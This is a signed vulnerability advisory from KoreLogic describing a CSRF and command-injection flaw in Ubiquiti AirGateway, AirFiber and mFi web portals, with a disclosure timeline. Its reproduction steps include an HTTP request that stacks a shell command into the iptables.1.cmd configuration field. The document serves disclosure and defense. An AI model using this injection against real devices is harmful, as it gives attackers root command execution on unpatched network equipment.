-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2016-002 : Ubiquiti Administration Portal CSRF to Remote Command Execution Title: Ubiquiti Administration Portal CSRF to Remote Command Execution Advisory ID: KL-001-2016-002 Publication Date: 2016.06.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-002.txt 1. Vulnerability Details Affected Vendor: Ubiquiti Affected Product: AirGateway, AirFiber, mFi Affected Version: 1.1.6, 3.2, 2.1.11 Platform: Embedded Linux CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF); CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') Impact: Arbitrary Code Execution Attack vector: HTTP 2. Vulnerability Description The Ubiquiti AirGateway, AirFiber and mFi platforms feature remote administration via an authenticated web-based portal. Lack of CSRF protection in the Remote Administration Portal, and unsafe passing of user input to operating system commands exectuted with root privileges, can be abused in a way that enables remote command execution. 3. Technical Description The firmware files analyzed were AirGWP.v1.1.6.28062.150731.1520.bin, AF24.v3.2.bin, and firmware.bin respectively. The MD5 hash values for the vulnerable files served by the administration portal are: AirGateway b45fe8e491d62251f0a7a100c636178a /usr/www/system.cgi AirFiber d8926f7f65a2111f4036413f985082b9 /usr/www/system.cgi mFi 960e8f6e507b227dbc4b65fc7a7036bc /usr/www/system.cgi The firmware file contains a LZMA compressed, squashfs partition. The binaries running on the embedded device are compiled for a MIPS CPU. The device can be easily virtualized using QEMU: Example: sudo /usr/sbin/chroot . ./qemu-mips-static /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf The administration portal does not issue a randomized CSRF token either per session, page, or request. Administration authorization is solely based on cookie control. Therefore, it is possible to embed JavaScript into an HTML page so when an administrator is socially engineered into visiting the page, the target device will be accessed with privileges. Device configuration POST parameters include tokens passed to operating system commands run as root in unsafe ways with insufficient input sanitization. Command injection is possible by stacking shell commands in parameters such as iptables.1.cmd. In order for a developer to recreate this discovery, the following instructions should be duplicated. a. Authenticate to the target web application and navigate to the SYSTEM page. b. Download the current configuration. c. Open the configuration in an editor of your choice, navigate to the line containing: iptables.1.cmd=-A FIREWALL -j ACCEPT d. Append the following onto that line: ;touch /var/tmp/csrf-to-rce.txt e. Save the changes, and submit the modified configuration. Apply the changes using apply.cgi afterward. Example: POST /system.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: https://192.168.1.1/system.cgi Cookie: ui_language=en_US; last_check=1452020493426; AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------4384928471732886672453075690 Content-Length: 7204 ... iptables.1.cmd=-A FIREWALL -j ACCEPT; touch /var/tmp/csrf-to-rce.txt ... GET /apply.cgi?testmode=&_=[redacted] HTTP/1.1 Host: 192.168.1.1 X-Requested-With: XMLHttpRequest Referer: https://192.168.1.1/system.cgi Cookie: ui_language=en_US; last_check=1452020493426; AIROS_SESSIONID=e5f61a5c0a9d0690b4efd484e56b8c93 Connection: keep-alive f. Change your IP address, but ensure continued routing to the target web application. Incrementing the last octet is sufficient. g. Open the configuration in an editor of your choice, navigate to the modified line and alter it: ;touch /var/tmp/csrf-to-rce-newsrc.txt h. Repeat step 5 from the new IP address. You will receive the same response. Apply the changes using the apply.cgi file. i. Login to the target device using SSH or telnet, navigate to /var/tmp and type ls. j. You'll discover both files exist. 4. Mitigation and Remediation Recommendation At this time there is no vendor patch for this vulnerability. The vendor was unable or unwilling to communicate an expected release date for a proper mitigation. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.02.25 - KoreLogic sends vulnerability report and PoC to Ubiquiti. 2016.02.26 - Ubiquiti acknowledges receipt of vulnerability report. 2016.04.12 - 30 business days have elapsed since the vulnerability was reported to Ubiquiti. 2016.04.21 - KoreLogic asks for an update on the remediation effort. 2016.04.29 - Ubiquiti replies that the patch will require "significant changes" but does not provide an estimate of the release time table. 2016.05.04 - 45 business days have elapsed since the vulnerability was reported to Ubiquiti. 2016.05.12 - KoreLogic requests an update from Ubiquiti. 2016.05.23 - KoreLogic requests an update from Ubiquiti. 2016.06.23 - 80 business days have elapsed since the vulnerability was reported to Ubiquiti. 2016.06.28 - Public disclosure. 7. Proof of Concept ######################################################################## # # Copyright 2016 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # #######################################################################* This example has been performed against the AirGateway device running the 1.1.6 firmware version. In order to recreate this vulnerability on AirFiber and mFi, the attacker should first obtain a valid copy of the device configuration and update this proof-of-concept code.
The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJXcr9UAAoJEE1lmiwOGYkMNPoH/A4GrE7C5FaMRiMKQXxqhSyi wyEmrC5YQrCLVoPTy2Iq+0GxJ7LdUkmewtqQ7KR6A82dG/1nTRa8BsDA6FzEUcAb Z/x6lfb3z8tV6m7BUOqV2pmHd/LFvcBNTiuN/9pj8PyGuw0xG/iEkOON7z/s/b+V 11o7ksOnx+M8o4Vc5QaI7JfnAwDgohKzhYKLO90RDwftiFy6j6IRIt4kPP/ojzwW vvSxT7PaGErevvOXGNa2CsNNXWGHb8fy3cqXMEejoM02p4/ZIK3kQvaemDZsvjCa qNHjLETuQVWC+slbAy/YxGw6bmD+mhf+WSGqhT4VXSn1PjgT98kdu6qoYs9o47A= =MmNJ -----END PGP SIGNATURE-----